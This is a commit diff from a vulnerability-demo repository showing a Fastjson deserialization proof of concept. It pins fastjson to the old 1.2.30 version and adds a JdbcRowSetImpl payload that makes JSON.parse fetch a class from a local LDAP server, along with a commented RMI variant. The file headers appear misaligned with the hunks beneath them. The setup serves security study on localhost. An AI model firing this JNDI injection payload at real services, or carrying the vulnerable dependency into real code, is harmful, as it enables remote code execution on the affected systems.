fastjson/fastjson1224.java

Author: SummerSec

vuldemo/.idea/workspace.xml

@@ -50,7 +50,7 @@
         <dependency>
             <groupId>com.alibaba</groupId>
             <artifactId>fastjson</artifactId>
-            <version>1.2.47</version>
+            <version>1.2.30</version>
         </dependency>
         <dependency>
             <groupId>com.unboundid</groupId>

vuldemo/pom.xml

@@ -34,8 +34,8 @@ public static void main(String[] args) {
 
                 "\"dataSourceName\":\"ldap://127.0.0.1:1389/Weblogicpoc\",\"autoCommit\":true}";
 //                "\"dataSourceName\":\"rmi://localhost:1090/Exploit\",\"autoCommit\":true}";
-
-        JSON.parse(payload);
+        String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Calc\",\"autoCommit\":true}";
+        JSON.parse(poc);
 
 //        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
 //        try {

vuldemo/src/main/java/vul/fastjson/fastjson1224.java

@@ -12,6 +12,9 @@
 @SuppressWarnings ( "restriction" )
 public class Reflections {
 
+    public Reflections(String name) {
+    }
+
     public static void setAccessible(AccessibleObject member) {
         // quiet runtime warnings from JDK9+
         Permit.setAccessible(member);

vuldemo/src/main/java/vul/util/Reflections.java

@@ -35,7 +35,7 @@ public static void main ( String[] args ) {
 
         try {
             //  URL地址可以修改成任意地址
-            URL url = new URL("http://localhost:8080/#Exploit");
+            URL url = new URL("http://localhost:6666/#Calc");
             InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
             config.setListenerConfigs(new InMemoryListenerConfig(
                     "listen", //$NON-NLS-1$

vuldemo/src/main/java/vul/util/ldapserver.java

@@ -28,7 +28,7 @@
     <orderEntry type="library" name="Maven: org.apache.commons:commons-collections4:4.0" level="project" />
     <orderEntry type="library" name="Maven: com.nqzero:permit-reflect:0.3" level="project" />
     <orderEntry type="library" name="Maven: javassist:javassist:3.12.0.GA" level="project" />
-    <orderEntry type="library" name="Maven: com.alibaba:fastjson:1.2.47" level="project" />
+    <orderEntry type="library" name="Maven: com.alibaba:fastjson:1.2.30" level="project" />
     <orderEntry type="library" name="Maven: com.unboundid:unboundid-ldapsdk:3.1.1" level="project" />
     <orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-databind:2.10.0" level="project" />
     <orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-annotations:2.10.0" level="project" />